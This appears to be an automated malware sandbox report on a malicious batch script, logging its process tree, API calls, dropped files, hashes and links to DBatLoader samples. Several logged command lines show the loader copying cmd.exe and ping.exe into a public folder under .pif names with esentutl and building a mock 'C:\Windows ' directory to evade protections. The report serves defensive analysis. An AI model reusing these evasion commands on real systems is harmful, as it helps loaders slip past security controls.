Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D432B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,

5_2_00007FF718D432B0

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D6FB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z,

5_2_00007FF718D6FB54

Source: C:\Windows\System32\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_03

Source: C:\Windows\System32\esentutl.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\iuhmzvlH.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"	Jump to behavior
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\esentutl.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\esentutl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\esentutl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\esentutl.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\esentutl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\esentutl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\xpha.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\xpha.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\xpha.pif	Section loaded: mswsock.dll	Jump to behavior

Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000002.00000003.2054845712.00000133B7990000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000005.00000000.2058646531.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000000.2059683551.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000000.2060949975.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000002.2157971587.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000000.2158815042.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000002.2161338491.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000002.2162246691.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000000.2161703712.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000002.2163213670.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000000.2162595664.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif.2.dr
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 00000004.00000003.2056904803.00000256300D0000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000008.00000000.2061254196.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif, 00000008.00000002.2157147929.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif.4.dr
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000002.00000003.2054845712.00000133B7990000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000005.00000000.2058646531.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000006.00000000.2059683551.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000000.2060949975.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000007.00000002.2157971587.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000000.2158815042.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 00000009.00000002.2161338491.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000002.2162246691.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000A.00000000.2161703712.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000002.2163213670.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif, 0000000B.00000000.2162595664.00007FF718D72000.00000002.00000001.01000000.00000004.sdmp, alpha.pif.2.dr
Source:	Binary string: ping.pdb source: esentutl.exe, 00000004.00000003.2056904803.00000256300D0000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000008.00000000.2061254196.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif, 00000008.00000002.2157147929.00007FF6F7634000.00000002.00000001.01000000.00000005.sdmp, xpha.pif.4.dr

Source: alpha.pif.2.dr

Static PE information: 0xE1CBFC53 [Mon Jan 16 09:26:43 2090 UTC]

Source: alpha.pif.2.dr

Static PE information: section name: .didat

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\System32\esentutl.exe	File created: C:\Users\Public\xpha.pif			Jump to dropped file

Source: C:\Windows\System32\cmd.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\Public\alpha.pif

Evaded block: after key decision

Source: C:\Users\Public\alpha.pif	API coverage: 6.5 %
Source: C:\Users\Public\alpha.pif	API coverage: 6.3 %
Source: C:\Users\Public\alpha.pif	API coverage: 8.4 %

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\xpha.pif	Last function: Thread delayed

Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	5_2_00007FF718D52978
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	5_2_00007FF718D435B8
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	5_2_00007FF718D41560
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	5_2_00007FF718D5823C
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D67B4C FindFirstFileW,FindNextFileW,FindClose,	5_2_00007FF718D67B4C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	6_2_00007FF718D52978
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	6_2_00007FF718D435B8
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	6_2_00007FF718D41560
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	6_2_00007FF718D5823C
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D67B4C FindFirstFileW,FindNextFileW,FindClose,	6_2_00007FF718D67B4C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D52978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	9_2_00007FF718D52978
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D5823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	9_2_00007FF718D5823C
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D435B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	9_2_00007FF718D435B8
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D41560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	9_2_00007FF718D41560
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D67B4C FindFirstFileW,FindNextFileW,FindClose,	9_2_00007FF718D67B4C

Source: xpha.pif, 00000008.00000002.2156162133.000001F3A5759000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D663FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

5_2_00007FF718D663FC

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D54A14 GetEnvironmentStringsW,GetProcessHeap,HeapAlloc,memmove,FreeEnvironmentStringsW,

5_2_00007FF718D54A14

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF718D58FA4
Source: C:\Users\Public\alpha.pif	Code function: 5_2_00007FF718D593B0 SetUnhandledExceptionFilter,	5_2_00007FF718D593B0
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF718D58FA4
Source: C:\Users\Public\alpha.pif	Code function: 6_2_00007FF718D593B0 SetUnhandledExceptionFilter,	6_2_00007FF718D593B0
Source: C:\Users\Public\xpha.pif	Code function: 8_2_00007FF6F7633840 SetUnhandledExceptionFilter,	8_2_00007FF6F7633840
Source: C:\Users\Public\xpha.pif	Code function: 8_2_00007FF6F7633644 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00007FF6F7633644
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D58FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF718D58FA4
Source: C:\Users\Public\alpha.pif	Code function: 9_2_00007FF718D593B0 SetUnhandledExceptionFilter,	9_2_00007FF718D593B0

HIPS / PFW / Operating System Protection Evasion

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\System32\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"	Jump to behavior
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior

Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	5_2_00007FF718D551EC
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	5_2_00007FF718D53140
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	5_2_00007FF718D46EE4
Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	6_2_00007FF718D551EC
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	6_2_00007FF718D53140
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	6_2_00007FF718D46EE4
Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	9_2_00007FF718D551EC
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	9_2_00007FF718D53140
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	9_2_00007FF718D46EE4

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.pif	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D59584 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

5_2_00007FF718D59584

Source: C:\Users\Public\alpha.pif

Code function: 5_2_00007FF718D4586C GetVersion,

5_2_00007FF718D4586C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	221 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Valid Accounts	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	1 Disable or Modify Tools	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Access Token Manipulation	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 File Deletion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
iuhmzvlH.cmd	11%	ReversingLabs	Script-BAT.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\alpha.pif	0%	ReversingLabs
C:\Users\Public\xpha.pif	0%	ReversingLabs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562861
Start date and time:	2024-11-26 08:10:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iuhmzvlH.cmd
Detection:	MAL
Classification:	mal56.evad.winCMD@20/4@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 42 Number of non-executed functions: 225
Cookbook Comments:	Found application associated with file extension: .cmd Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 2.20.68.210, 2.20.68.201
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, sls.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: iuhmzvlH.cmd

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\alpha.pif	USD470900_COPY_800BLHSBC882001.PDF.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse
	#U00c1raj#U00e1nlat k#U00e9r#U00e9s 12#U00b711#U00b72024#U00b7Pdf.cmd	Get hash	malicious	Unknown	Browse
	#U00c1raj#U00e1nlat k#U00e9r#U00e9s 06.11.2024.cmd	Get hash	malicious	DBatLoader, FormBook	Browse
	TZH3Uk8x45.bat	Get hash	malicious	DBatLoader, PureLog Stealer, XWorm	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	FACTURA.cmd	Get hash	malicious	DBatLoader	Browse
	rPO767575.cmd	Get hash	malicious	DBatLoader	Browse
	Contact Form and Delivery Details ,pdf.cmd	Get hash	malicious	DBatLoader, FormBook	Browse

Created / dropped Files

C:\Users\Public\alpha.pif

Download File

Process:	C:\Windows\System32\esentutl.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	6.135598950357573
Encrypted:	false
SSDEEP:	6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
SHA1:	F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
SHA-256:	B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
SHA-512:	99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: USD470900_COPY_800BLHSBC882001.PDF.bat, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd, Detection: malicious, Browse Filename: Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd, Detection: malicious, Browse Filename: #U00c1raj#U00e1nlat k#U00e9r#U00e9s 12#U00b711#U00b72024#U00b7Pdf.cmd, Detection: malicious, Browse Filename: #U00c1raj#U00e1nlat k#U00e9r#U00e9s 06.11.2024.cmd, Detection: malicious, Browse Filename: TZH3Uk8x45.bat, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: FACTURA.cmd, Detection: malicious, Browse Filename: rPO767575.cmd, Detection: malicious, Browse Filename: Contact Form and Delivery Details ,pdf.cmd, Detection: malicious, Browse
